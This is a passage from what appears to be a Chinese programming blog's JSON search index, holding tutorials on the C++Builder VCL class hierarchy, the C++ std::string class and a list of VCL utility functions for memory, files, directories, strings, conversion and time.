可拥有和管理其他的组件。\n\u0026middot; 增强的流及文件管理能力。\n\u0026middot; 可通过New Objects对话框中ActiveX页的向导程序转换成ActiveX控件或其他COM对象。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TComponent 扮演了一个所有组件都可插入的标准\u0026ldquo;总线\u0026rdquo;的角色。TComponent通过Name和Owner属性及一些方法规定组件在设计时的行为。所有派生于 TComponent的类都有Name和Owner属性。Owner属性值，也即组件的属主负责该组件对象的销毁。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这一分支中包含的类主要有：\n\u0026middot; TMainMenu 为窗体提供菜单栏及相应的下拉菜单的类。\n\u0026middot; TTimer 包含Windows API 中的计时器函数的类。\n\u0026middot; TOpenDialog、TSaveDialog、TFontDialog、TFindDialog、TColorDialog等，是通用Windows对话框类。 \u0026middot; TActionList，包含组件或控件，如菜单项和按钮的动作列表的类。\n\u0026middot; TScreen，负责管理应用程序创建的窗体和数据模块，当前的活跃窗体及其上的活跃控件、屏幕尺寸和分辨率，应用程序使用的光标和字体等内容的类。\n2.4.4 TControl分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所有的控件都是可视化对象，即它们在运行时可见并可被用户操纵。且它们都有作为可视化控件所共有的属性、方法和事件，例如控件的位置、光标、与控件关联的提示、用来描绘或移动控件的方法、用来响应鼠标动作的事件等。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TComponent定义所有组件的行为，TControl则进一步定义了所有可视化控件的行为。包含画图例程、标准Windows事件及容器特性。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这一分支中一组较重要的类为TGraphicControl。TGraphicControl控件类必须能描绘它们自己并且从不接受焦点。在这组控件中主要包含：\n\u0026middot; TImage，一种显示图形类图像的控件。\n\u0026middot; TLabel，一种在窗体中显示文字的控件。\n\u0026middot; TBevel，一种表示边缘斜角的控件。\n\u0026middot; TPaintBox，一种提供画布的控件，应用程序能够使用画布创建及生成显示图像。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 注意到这些控件包含通用的画图例程（画图、重画、使无效等），但C++Builder不必为它们分配窗口句柄，因为它们从不需要接受焦点。\n2.4.5 TWinControl分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TWinControl是为所有的窗口控件的基类。下面的是窗口控件的几个特征：\n\u0026middot; 窗口控件是应用程序运行时能接受焦点的控件。\n\u0026middot; 也许还有其他控件可以显示数据，但是只有当该控件是一种窗口控件时，用户才能使用键盘来与之交互。\n\u0026middot; 窗口控件能包含其他控件。\n\u0026middot; 包含其他控件的控件是父代控件。只有窗口控件能够作为一个或多个子控件的父代控件。\n\u0026middot; 窗口控件有窗口句柄。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 除了能接受焦点外，TWinControl与TControl基本相同。这意味着它们不但包含许多标准Windows事件，同时Windows还必须给它们分配窗口句柄。这一分支中包含了两大类控件，一种是由Windows自动描绘的（包括TEdit、TListBox、TComboBox、 TPageControl等），另一种是C++Builder自定义的（包括TDBNavigator、TMediaPlayer、TGauge等）。不过，你根本不必关心控件如何描绘它们自己或如何响应事件，这些都已被C++Builder所完全封装。\n2.4.6 TControl的共同属性\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所有可视化控件（TControl的后裔）共享的属性包括：\n\u0026middot; 位置、尺寸及排列属性。\n\u0026middot; 显示属性。\n\u0026middot; 父代属性。\n\u0026middot; 导航属性。\n\u0026middot; 拖放属性。\n\u0026middot; 拖动-停靠属性。\n\u0026middot; 动作（Action）属性。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这些属性是从TControl继承而来的，它们都是发布属性，因此，只对于那些适用的组件它们才会出现在对象观察器中。例如：TImage未发布Color属性，因为它的颜色是由它所显示的图形决定的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1、Action（动作）属性\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Action可以让一些动作共享代码（例如：当工具栏按钮和菜单项所做的事相同），并且依赖于应用程序的状况，提供了简单的易实现的方法控制动作的有效与否。\n\u0026middot; Action指定与控件相关的动作。\n\u0026middot; ActionLink包含与控件相关的动作链接对象。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2、位置、尺寸及排列属性\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 这些属性用于定义控件在窗体或容器控件中位置和尺寸：\n\u0026middot; Height，设置垂直尺寸。\n\u0026middot; Width，设置水平尺寸。\n\u0026middot; Top，设置上边界。\n\u0026middot; Left，设置左边界。\n\u0026middot; AutoSize，指定控件尺寸是否自动地适应其中的内容。\n\u0026middot; Align，确定控件在容器（父代控件）内部如何排列。\n\u0026middot; Anchor，指定控件相对于其父代控件的定位。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 下列属性确定控件整个客户区的高度、宽度、尺寸：\n\u0026middot; ClientHeight，以像素为单位指定控件客户区的高度。\n\u0026middot; ClientWidth，以像素为单位指定控件客户区的宽度。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 对于非可视化组件，这些属性都是不可访问的，但是C++Builder记录下了将组件图标放置在窗体的何处。大多数情况下可以通过操纵控件的图像或使用排列面板来设置和改变这些属性，同时，也能在运行时改变它们。\n","permalink":"https://hessian.cn/p/531.html","summary":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 图2 \u0026#8211; 1为可视组件库的分层结构的简图，图中显示出了树状分层结构的五个主要的分支。\n2.4.1 TObject分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 下面几部分分别对包含于五个主要分支中的类做出简要地描述，为完整地说明VCL对象的分层结构，引用了包含于产品中的VCL对象分层结构图。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所有的VCL对象都派生于TObject，其方法定义了构造、析构、消息处理等基本特征。VCL对象的许多强大的功能都建立在TObject给出的这些方法的基础之上。通过提供下列方法，TObject封装了所有VCL对象最基本的通用特征：\n\u0026middot; 在对象被创建或销毁时响应的能力。\n\u0026middot; 对象的类型和实例信息，及有关对象发布的属性的运行时类型信息（RTTI）\n\u0026middot; 支持消息处理。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TObject是许多简单类的直接祖先。在这一分支中所包含的类有一个共同的重要的特性，它们都是暂时的。这是指，这些类都没有用来在对象被销毁之前保存状态的方法，它们不是固有的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这一分支中一个较主要的类为异常（Exception）类。它提供一组内嵌的异常类用于自动处理除数为零的错误、文件I/O错误、非法的类型匹配及许多其他的异常情况。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 包含于TObject分支的还有一些封装数据结构的类，例如：\n\u0026middot; TBits，存储了一个布尔型\u0026ldquo;数组\u0026rdquo;的类。\n\u0026middot; TList，链接列表的类。\n\u0026middot; TStack ，包含一个\u0026ldquo;后进先出\u0026rdquo;的指针数组的类。\n\u0026middot; TQueue，包含一个\u0026ldquo;先进先出\u0026rdquo;的指针数组的类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 此外，你还可以发现一些封装了外部对象的类，如TPrinter，它封装了Windows打印机接口，TRegistry，它封装了底层系统注册及其函数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TStream是这一分支里其他类型的典型例子。TStream是流对象的基类，可以与如磁盘文件、动态内存等等各种存储介质进行读写操作。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 可以看到，这一分支中包含许多不同类，对于一个开发者来说，这些类都非常有用。\n","title":"BC++B 可视化组件库VCL中的对象、组件与控件"},{"content":"好了，进入正题\u0026hellip;\u0026hellip;\u0026hellip;\n首先，为了在我们的程序中使用string类型，我们必须包含头文件 。如下：\n＃i nclude\u0026lt;string\u0026gt; //注意这里不是string.h string.h是C字符串头文件\n1．声明一个C++字符串\n声明一个字符串变量很简单：\nstring Str;\n这样我们就声明了一个字符串变量，但既然是一个类，就有构造函数和析构函数。上面的声明没有传入参数，所以就直接使用了string的默认的构造函数，这个函数所作的就是把Str初始化为一个空字符串。String类的构造函数和析构函数如下：\na)string s;//生成一个空字符串s\nb)string s(str) //拷贝构造函数 生成str的复制品\nc)string s(str,stridx) //将字符串str内\u0026ldquo;始于位置stridx\u0026rdquo;的部分当作字符串的初值\nd)string s(str,stridx,strlen) //将字符串str内\u0026ldquo;始于stridx且长度顶多strlen\u0026rdquo;的部分作为字符串的初值\ne)string s(cstr) //将C字符串作为s的初值\nf)string s(chars,chars_len) //将C字符串前chars_len个字符作为字符串s的初值。\ng)string s(num,c) //生成一个字符串，包含num个c字符\nh)string s(beg,end) //以区间beg;end(不包含end)内的字符作为字符串s的初值\ni)s.~string() //销毁所有字符，释放内存\n都很简单，我就不解释了。\n2．字符串操作函数\n这里是C++字符串的重点，我先把各种操作函数罗列出来，不喜欢把所有函数都看完的人可以在这里找自己喜欢的函数，再到后面看他的详细解释。\na) =,assign() //赋以新值\nb) swap() //交换两个字符串的内容\nc) +=,append(),push_back() //在尾部添加字符\nd) insert() //插入字符\ne) erase() //删除字符\nf) clear() //删除全部字符 g) replace() //替换字符\nh) + //串联字符串\ni) ==,!=,\u0026lt;,\u0026lt;=,\u0026gt;,\u0026gt;=,compare()//比较字符串\nj) size(),length()//返回字符数量\nk) max_size() //返回字符的可能最大个数\nl) empty()//判断字符串是否为空\nm) capacity() //返回重新分配之前的字符容量\nn) reserve() //保留一定量内存以容纳一定数量的字符\no) [ ], at() //存取单一字符\np) \u0026gt;\u0026gt;,getline() //从stream读取某值\nq) \u0026lt;r) copy() //将某值赋值为一个C_string\ns) c_str() //将内容以C_string返回\nt) data() //将内容以字符数组形式返回\nu) substr() //返回某个子字符串\nv)查找函数\nw)begin() end() //提供类似STL的迭代器支持\nx) rbegin() rend() //逆向迭代器\ny) get_allocator() //返回配置器\n下面详细介绍：\n2．1 C++字符串和C字符串的转换\nC+ +提供的由C++字符串得到对应的C_string的方法是使用data()、c_str()和copy()，其中，data()以字符数组的形式返回字符串内容，但并不添加\u0026rsquo;\u0026rsquo;。c_str()返回一个以\u0026lsquo;\u0026rsquo;结尾的字符数组，而copy()则把字符串的内容复制或写入既有的c_string或字符数组内。C++字符串并不以\u0026rsquo;\u0026rsquo;结尾。我的建议是在程序中能使用C++字符串就使用，除非万不得已不选用c_string。由于只是简单介绍，详细介绍掠过，谁想进一步了解使用中的注意事项可以给我留言(到我的收件箱)。我详细解释。\n2．2 大小和容量函数\n一个C++字符串存在三种大小：a) 现有的字符数，函数是size()和length()，他们等效。Empty()用来检查字符串是否为空。b)max_size() 这个大小是指当前C++字符串最多能包含的字符数，很可能和机器本身的限制或者字符串所在位置连续内存的大小有关系。我们一般情况下不用关心他，应该大小足够我们用的。但是不够用的话，会抛出length_error异常c)capacity()重新分配内存之前 string所能包含的最大字符数。这里另一个需要指出的是reserve()函数，这个函数为string重新分配内存。重新分配的大小由其参数决定，默认参数为0，这时候会对string进行非强制性缩减。\n还有必要再重复一下C++字符串和C字符串转换的问题，许多人会遇到这样的问题，自己做的程序要调用别人的函数、类什么的（比如数据库连接函数 Connect(char*,char*)），但别人的函数参数用的是char*形式的，而我们知道，c_str()、data()返回的字符数组由该字符串拥有，所以是一种const char*,要想作为上面提及的函数的参数，还必须拷贝到一个char*,而我们的原则是能不使用C字符串就不使用。那么，这时候我们的处理方式是：如果此函数对参数(也就是char*)的内容不修改的话，我们可以这样Connect((char*)UserID.c_str(), (char*)PassWD.c_str()),但是这时候是存在危险的，因为这样转换后的字符串其实是可以修改的（有兴趣地可以自己试一试），所以我强调除非函数调用的时候不对参数进行修改，否则必须拷贝到一个char*上去。当然，更稳妥的办法是无论什么情况都拷贝到一个char*上去。同时我们也祈祷现在仍然使用C字符串进行编程的高手们（说他们是高手一点儿也不为过，也许在我们还穿开裆裤的时候他们就开始编程了，哈哈\u0026hellip;）写的函数都比较规范，那样我们就不必进行强制转换了。\n2．3元素存取\n我们可以使用下标操作符[]和函数at()对元素包含的字符进行访问。但是应该注意的是操作符[]并不检查索引是否有效（有效索引0~str.length()），如果索引失效，会引起未定义的行为。而at()会检查，如果使用at()的时候索引无效，会抛出 out_of_range异常。\n有一个例外不得不说，const string a;的操作符[]对索引值是a.length()仍然有效，其返回值是\u0026rsquo;\u0026rsquo;。其他的各种情况，a.length()索引都是无效的。举例如下：\nconst string Cstr(\u0026ldquo;const string\u0026rdquo;);\nstring Str(\u0026ldquo;string\u0026rdquo;);\nStr[3];//ok\nStr.at(3);//ok\nStr[100]; //未定义的行为\nStr.at(100);//throw out_of_range\nStr[Str.length()]//未定义行为\nCstr[Cstr.length()] //返回 \u0026lsquo;\u0026rsquo;\nStr.at(Str.length());//throw out_of_range\nCstr.at(Cstr.length()) ////throw out_of_range\n我不赞成类似于下面的引用或指针赋值：\nchar\u0026amp; r=s[2];\nchar* p= \u0026amp;s[3];\n因为一旦发生重新分配，r,p立即失效。避免的方法就是不使用。\n2．4比较函数\nC++字符串支持常见的比较操作符（\u0026gt;,\u0026gt;=,\u0026lt;,\u0026lt;=,==,!=），甚至支持string与C -string的比较(如 str\u0026lt;\u0026rdquo;hello\u0026rdquo;)。在使用\u0026gt;,\u0026gt;=,\u0026lt;,\u0026lt;=这些操作符的时候是根据\u0026ldquo;当前字符特性\u0026rdquo;将字符按字典顺序进行逐一得比较。字典排序靠前的字符小，比较的顺序是从前向后比较，遇到不相等的字符就按这个位置上的两个字符的比较结果确定两个字符串的大小。同时，string (\u0026ldquo;aaaa\u0026rdquo;) 另一个功能强大的比较函数是成员函数compare()。他支持多参数处理，支持用索引值和长度定位子串来进行比较。他返回一个整数来表示比较结果，返回值意义如下：0-相等 〉0-大于 \u0026lt;0-小于。举例如下：\nstring s(\u0026ldquo;abcd\u0026rdquo;);\ns.compare(\u0026ldquo;abcd\u0026rdquo;); //返回0\ns.compare(\u0026ldquo;dcba\u0026rdquo;); //返回一个小于0的值\ns.compare(\u0026ldquo;ab\u0026rdquo;); //返回大于0的值\ns.compare(s); //相等\ns.compare(0,2,s,2,2); //用\u0026rdquo;ab\u0026rdquo;和\u0026rdquo;cd\u0026rdquo;进行比较 小于零\ns.compare(1,2,\u0026rdquo;bcx\u0026rdquo;,2); //用\u0026rdquo;bc\u0026rdquo;和\u0026rdquo;bc\u0026rdquo;比较。\n怎么样？功能够全的吧！什么？还不能满足你的胃口？好吧，那等着，后面有更个性化的比较算法。先给个提示，使用的是STL的比较算法。什么？对STL一窍不通？靠，你重修吧！\n2．5 更改内容\n这在字符串的操作中占了很大一部分。\n首先讲赋值，第一个赋值方法当然是使用操作符=，新值可以是string(如：s=ns) 、c_string(如：s=\u0026rdquo;gaint\u0026rdquo;)甚至单一字符（如：s=\u0026rsquo;j\u0026rsquo;）。还可以使用成员函数assign()，这个成员函数可以使你更灵活的对字符串赋值。还是举例说明吧：\ns.assign(str); //不说\ns.assign(str,1,3);//如果str是\u0026rdquo;iamangel\u0026rdquo; 就是把\u0026rdquo;ama\u0026rdquo;赋给字符串\ns.assign(str,2,string::npos);//把字符串str从索引值2开始到结尾赋给s\ns.assign(\u0026ldquo;gaint\u0026rdquo;); //不说\ns.assign(\u0026ldquo;nico\u0026rdquo;,5);//把\u0026rsquo;n\u0026rsquo; \u0026lsquo;I\u0026rsquo; \u0026lsquo;c\u0026rsquo; \u0026lsquo;o\u0026rsquo; \u0026lsquo;\u0026rsquo;赋给字符串\ns.assign(5,\u0026rsquo;x\u0026rsquo;);//把五个x赋给字符串\n把字符串清空的方法有三个：s=\u0026rdquo;\u0026rdquo;;s.clear();s.erase();(我越来越觉得举例比说话让别人容易懂！)。\nstring提供了很多函数用于插入（insert）、删除（erase）、替换（replace）、增加字符。\n先说增加字符（这里说的增加是在尾巴上），函数有 +=、append()、push_back()。举例如下：\ns+=str;//加个字符串\ns+=\u0026rdquo;my name is jiayp\u0026rdquo;;//加个C字符串\ns+=\u0026rsquo;a\u0026rsquo;;//加个字符\ns.append(str);\ns.append(str,1,3);//不解释了 同前面的函数参数assign的解释\ns.append(str,2,string::npos)//不解释了\ns.append(\u0026ldquo;my name is jiayp\u0026rdquo;);\ns.append(\u0026ldquo;nico\u0026rdquo;,5);\ns.append(5,\u0026rsquo;x\u0026rsquo;);\ns.push_back(\u0026lsquo;a\u0026rsquo;);//这个函数只能增加单个字符 对STL熟悉的理解起来很简单\n也许你需要在string中间的某个位置插入字符串，这时候你可以用insert()函数，这个函数需要你指定一个安插位置的索引，被插入的字符串将放在这个索引的后面。\ns.insert(0,\u0026rdquo;my name\u0026rdquo;);\ns.insert(1,str);\n这种形式的insert()函数不支持传入单个字符，这时的单个字符必须写成字符串形式(让人恶心)。既然你觉得恶心，那就不得不继续读下面一段话：为了插入单个字符，insert()函数提供了两个对插入单个字符操作的重载函数：insert(size_type index,size_type num,chart c)和insert(iterator pos,size_type num,chart c)。其中size_type是无符号整数，iterator是char*,所以，你这么调用insert函数是不行的：insert(0,1, \u0026rsquo;j\u0026rsquo;);这时候第一个参数将转换成哪一个呢？所以你必须这么写：insert((string::size_type)0,1,\u0026rsquo;j\u0026rsquo;)！第二种形式指出了使用迭代器安插字符的形式，在后面会提及。顺便提一下，string有很多操作是使用STL的迭代器的，他也尽量做得和STL靠近。\n删除函数erase()的形式也有好几种（真烦！），替换函数replace()也有好几个。举例吧：\nstring s=\u0026rdquo;il8n\u0026rdquo;;\ns.replace(1,2,\u0026rdquo;nternationalizatio\u0026rdquo;);//从索引1开始的2个替换成后面的C_string\ns.erase(13);//从索引13开始往后全删除\ns.erase(7,5);//从索引7开始往后删5个\n2．6提取子串和字符串连接\n题取子串的函数是：substr(),形式如下：\ns.substr();//返回s的全部内容\ns.substr(11);//从索引11往后的子串\ns.substr(5,6);//从索引5开始6个字符\n把两个字符串结合起来的函数是+。（谁不明白请致电120）\n2．7输入输出操作\n1．\u0026gt;\u0026gt; 从输入流读取一个string。\n2．\u0026lt;\u0026lt; 把一个string写入输出流。\n另一个函数就是getline(),他从输入流读取一行内容，直到遇到分行符或到了文件尾。\n2．8搜索与查找\n查找函数很多，功能也很强大，包括了：\nfind()\nrfind()\nfind_first_of()\nfind_last_of()\nfind_first_not_of()\nfind_last_not_of()\n这些函数返回符合搜索条件的字符区间内的第一个字符的索引，没找到目标就返回npos。所有的函数的参数说明如下：\n第一个参数是被搜寻的对象。第二个参数（可有可无）指出string内的搜寻起点索引，第三个参数（可有可无）指出搜寻的字符个数。比较简单，不多说 不理解的可以向我提出，我再仔细的解答。当然，更加强大的STL搜寻在后面会有提及。\n最后再说说npos的含义，string::npos的类型是string::size_type,所以，一旦需要把一个索引与npos相比，这个索引值必须是string::size)type类型的，更多的情况下，我们可以直接把函数和npos进行比较（如：if(s.find(\u0026ldquo;jia\u0026rdquo;)== string::npos)）。\n","permalink":"https://hessian.cn/p/483.html","summary":"好了，进入正题\u0026hellip;\u0026hellip;\u0026hellip;\n首先，为了在我们的程序中使用string类型，我们必须包含头文件 。如下：\n＃i nclude\u0026lt;string\u0026gt; //注意这里不是string.h string.h是C字符串头文件\n","title":"C++ string(字符串)详解"},{"content":" //\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211; Suntenghe 整理\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n1.内存分配\n2.文件操作\n3.磁盘目录管理\n4.字符串操作\n5.类型转换\n6.时间和日期管理\n一.BORLAND C++ BUILDER VCL的内存管理函数\n1. AllocMem\n在队中分配指定字节的内存块,并将分配的每一个字节初始化为 0.函数原型如下:\nvoid * __fastcall AllocMem(Cardinal Size);\n2. SysFreeMem\n释放所指定的内存块.函数原型如下:\nint __fastcall SysFreeMem(void * P);\n3. SysReallocMem\n要求重新分配参数Size所指定的内存.函数原型如下:\nvoid * __fastcall SysReallocMem(void * P , int Size);\n二.Borland C++ Builder VCL的文件操作函数\n1. FileOpen\n打开指定的文件,如果返回为正数,表示操作成功,返回值为文件句柄:如果返回值为-1,表\n示操作失败,函数原型如下:\nint __fastcall FileOpen(const System::AnsiString FileName,int Mode);\n2. FileCreate\n以指定的文件名称创建一个新的文件,如果返回为正数,表示操作成功,返回值为文件句柄,\n如果返回值为-1,表示操作失败.函数原型如下:\nint __fastcall FileCreate(const System ::AnsiString FileName);\n3. FileRead\n从文件中读取指定字节的数据到缓冲区中,函数返回实际读取的字节数,函数原型如下;\nint __fastcall FileRead(int Handle,void *Buffer,int Count);\n4. FileWrite\n将缓冲区的数据写入到指定的文件的当前位置中去如果操作成功,函数返回实际写入的字\n节数,如果返回为-1,则表示操作产生错误,函数原型如下:\nint __fastcall FileWrite(int Handle,const void *Buffer,int Count);\n5. FileSeek\n调整文件指针到新的位置,如果操作成功,则返回新的文件位置,如果操作失败,则函数返\n回-1,函数原型如下:\nint __fastcall FileSeek(int Handle,int Offset,int Origin);\n6. FileClose\n关闭指定的文件,函数原型如下:\nvoid __fastcall FileClose(int Handle);\n7. FileAge\n返回指定文件的时间标签,如果操作失败,则返回-1,函数原型如下:\nint __fastcall FileAge(const System::AnsiString FileName);\n8. FileExists\n用于测试指定的文件是否存在,如果存在返回真,否则返回假,函数原型如下:\nbool __fastcall FileExists(const System::AnsiString FileName);\n9. FileGetDate\n返回指定文件的DOS时间标签,如果操作失败,则近回-1,函数原型如下:\nint __fastcall FileGetDate(int Handle);\n10.FileSetDate\n更改指定文件的DOS时间标签,如果操作成功,返回0,否则返回错误代码,函数原型如下:\nint __fastcall FileSetDate(int Handle,int Age);\n11.FileGetAttr\n返回指定文件的属性,如果操作失败,则函数返回-1,函数原型如下;\nint __fastcall FileGetAttr(const System::AnsiString FileName);\n12.FileSetAttr\n更改指定文件的属性参数,如果操作成功,则返回0,函数原型如下;\nint __fastcall FileSetAttr(const System::AnsiString FileName,int Attr);\n13.FindFirst\n在指定的文件目录内,搜寻符合特定属性参数的文件,如果成功地查找到符合条件的文件,\n则函数返回0,否则函数返回一个错误代码,函数原型如下:\nint __fastcall FindFirst(const System::AnsiString Path,int Attr,TSearchRec %26amp;F);\n14.FindNext\n继续搜寻FindFirst所指定属性参数的文件,如果成功地查找到符合条件的文件,则函数返\n回0,否则函数返回一个错误代码,函数原型如下:\nint __fastcall FindNext(TSearchRec %26amp;F);\n15.FindClose\n释放FindFirst操作所申请的内存资源,函数原型如下:\nvoid __fastcall FindClose(TSearchRec %26amp;F);\n16.DeleteFile\n在计算机磁盘中删除指定的文件,如果操作成功,则函数返回真,函数原型如下:\nbool __fastcall DeleteFile(const AnsiString FileName);\n17.RenameFile\n更改指定文件的名称,如果操作成功,则函数返回真,函数原型如下:\nbool __fastcall RenameFile(const AnsiString OldName, const AnsiString NewName);\n18.ChangeFileExt\n更改指定文件的扩展名,函数原型如下:\nAnsiString __fastcall ChangeFileExt(const AnsiString FileName,const AnsiString Extension);\n19.ExtractFilePath\n返回指定文件的工作路径,函数原型如下:\nAnsiString __fastcall ExtractFilePath(const AnsiString FileName);\n20.ExtractFileDir\n返回指定文件的工作目录,函数原型如下:\nAnsiString __fastcall ExtractFileDir(const AnsiString FileName);\n21.ExtractFileDrive\n返回指定文件的驱动器,函数原型如下:\nAnsiString __fastcall ExtractFileDrive(const AnsiString FileName);\n22.ExtractFileName\n返回指定文件的文件名及扩展名,函数原型如下:\nAnsiString __fastcall ExtractFileName(const AnsiString FileName);\n23.ExtractFileExt\n返回指定文件的扩展名,函数原型如下:\nAnsiString __fastcall ExtractFileExt(const AnsiString FileName);\n三,Borland C++ Builder VCL的磁盘管理函数\n1. DiskFree\n返回指定磁盘的剩余空间,如果操作成功,返回剩余磁盘空间,如果操作失败,则返回-1,\n函数原型如下:\nint __fastcall DiskFree(Byte Drive);\n2. DiskSize\n返回指定磁盘的空间,如果操作成功,返回磁盘空间,如果操作失败,则返回-1,函数原型如下:\nint __fastcall DiskSize(Byte Drive);\n3. GetCurrentDir\n返回当前工作目录,函数原型如下:\nAnsiString __fastcall GetCurrentDir();\n4. SetCurrentDir\n设置当前工作目录,如果操作成功,则返回真,函数原型如下:\nbool __fastcall SetCurrentDir(const AnsiString Dir);\n5. CreateDir\n创建新的目录,如果操作成功,返回真,否则返回假,函数原型如下:\nbool __fastcall CreateDir(const AnsiString Dir);\n6. RemoveDir\n删除指定的目录,如果操作成功,返回真,否则返回假,函数原型如下:\nbool __fastcall RemoveDir(const AnsiString Dir);\n四.Borland C++ Builder VCL的字符串函数\n1. UpperCase\n将指定的AnsiString字符串转换为大写形式,函数原型如下:\nAnsiString __fastcall UpperCase(const AnsiString S);\n2. LowerCase\n将指定的AnsiString字符串转换为小写形式,函数原型如下:\nAnsiString __fastcall LowerCase(const AnsiString S);\n3. CompareStr\n比较两个AnsiString字符串,函数原型如下:\nint __fastcall CompareStr(const AnsiString S1, const AnsiString S2);\n4. CompareText\n比较两个AnsiString字符串,函数原型如下:\nint __fastcall CompareText(const AnsiString S1, const AnsiString S2);\n5. StrLen\n返回字符串的长度,函数原型如下:\nCardinal __fastcall StrLen(const char * Str);\n6. StrEnd\n返回字符串结尾指针,函数原型如下:\nchar * __fastcall StrEnd(const char * Str);\n7. StrMove\n从源字符串向目的字符串拷贝指定数目的字符,函数原型如下:\nchar * __fastcall StrMove(char * Dest, const char * Source, Cardinal Count);\n8. StrCopy\n将源字符串拷贝到目的字符串中,函数原型如下:\nchar * __fastcall StrCopy(char * Dest, const char * Source);\n9. StrECopy\n将源字符串拷贝到目的字符串中,并返回目的字符串结尾指针,函数原型如下:\nchar * __fastcall StrECopy(char * Dest, const char * Source);\n10.StrLCopy\n将源字符串指定数目的字符拷贝到目的字符串中,并返回目的字符串指针,函数原型如下:\nchar * __fastcall StrLCopy(char * Dest, const char * Source, Cardinal MaxLen);\n11.StrPCopy\n将AnsiString类型的源字符串拷贝到目的字符串中,并返回目的字符串指针,函数原型如下:\nchar * __fastcall StrPCopy(char * Dest, const AnsiString Source);\n12.StrPLCopy\n将源字符串(AnsiString类型)指定数目的字符拷贝到目的字符串中,并返回目的字符串\n指针,函数原型如下:\nchar * __fastcall StrPLCopy(char * Dest, const AnsiString Source, Cardinal MaxLen);\n13.StrCat\n连接两个字符串,并返回目的字符串指针,函数原型如下:\nchar * __fastcall StrCat(char * Dest, const char * Source);\n14.StrLCat\n将指定数目的源字符串连接到目的字符串,并返回目的字符串指针,函数原型如下:\nchar * __fastcall StrLCat(char * Dest, const char * Source, Cardinal MaxLen);\n15.StrComp\n两个字符串相到比较,返回比较的结果,函数原型如下:\nint __fastcall StrComp(const char * Str1, const char * Str2);\n16.StrIComp\n两个字符串相互比较(不论大小写),返回比较的结果,函数原型如下:\nint __fastcall StrIComp(const char * Str1, const char * Str2);\n17.StrLComp\n对两个字符串指定数目的字符进行比较操作,函数原型如下:\nint __fastcall StrLComp(const char * Str1, const char * Str2, Cardinal MaxLen);\n18.StrScan\n在指定的字符串中寻找特定的字符,并返回字符串中第一个特定字符的指针,函数原型如下:\nchar * __fastcall StrScan(const char * Str, char Chr);\n19.StrRScan\n在指定的字符串中寻找特定的字符,并返回字符串中最后一个特定字符的指针,函数原型\n如下:\nchar * __fastcall StrRScan(const char * Str, char Chr);\n20.StrPos\n在Strl所指定的字符串中寻找Str2所指定的子字符串,并返回Str2在Str2中第一个子字符的\n指针,函数原型如下:\nchar * __fastcall StrPos(const char * Str1, const char * Str2);\n21.StrUpper\n将字符串转换为大写形式,函数原型如下:\nchar * __fastcall StrUpper(char * Str);\n22.StrLower\n将字符串转换为小写形式,函数原型如下:\nchar * __fastcall StrLower(char * Str);\n23.StrPas\n将指定的字符串转换为AnsiString类型字符串对象,函数原型如下:\nAnsiString __fastcall StrPas(const char * Str);\n24.StrAlloc\n为字符串分配指定字节的内存,并返回内存指针,函数原型如下:\nchar * __fastcall StrAlloc(Cardinal Size);\n25.StrBufSize\n返回*Str所指向内存的大小,函数原型如下:\nCardinal __fastcall StrBufSize(const char * Str);\n26.StrNew\n在堆中为指定字符串分配空间,并将字符串拷贝到此空间中,函数原型如下:\nchar * __fastcall StrNew(const char * Str);\n五.Borland C++ Builder VCL的数值转换函数\n1. IntToStr\n将整数转换为AnsiString字符串,函数原型如下:\nAnsiString __fastcall IntToStr(int Value);\n2. IntToHex\n将整数转换为十六进制字符串,函数原型如下:\nAnsiString __fastcall IntToHex(int Value, int Digits);\n3. StrToInt\n将AnsiString字符串转换为整数值,如果不能进行转换,则产生EConvertError异常,\n函数原型如下:\nint __fastcall StrToInt(const AnsiString S);\n4. StrToIntDef\n将AnsiString字符串转换为一个数值,函数原型如下:\nint __fastcall StrToIntDef(const System::AnsiString S,int Default);\n5. FloatToStr\n将浮点数转换为AnsiString字符串,函数原型如下:\nAnsiString __fastcall FloatToStr(Extended Value);\n6. StrToFloat\n将AnsiString字符串转换为一个浮点数值,函数原型如下:\nExtended __fastcall StrToFloat(const AnsiString S);\n7. FloatToStrF\n将浮点数转换为指定格式的AnsiString字符串,函数原型如下:\nAnsiString __fastcall FloatToStrF(Extended Value, TFloatFormat Format,int Precision, int Digits);\n六.Borland C++ Builder VCL的时间函数\n1. Date\n返回TDateTime对象,包含当前的年月日信息,函数原型如下:\nSystem::TDateTime __fastcall Date(void);\n2. Time\n返回TDateTime对象,包含当前的时间信息,函数原型如下:\nSystem::TDateTime __fastcall Time(void);\n3. 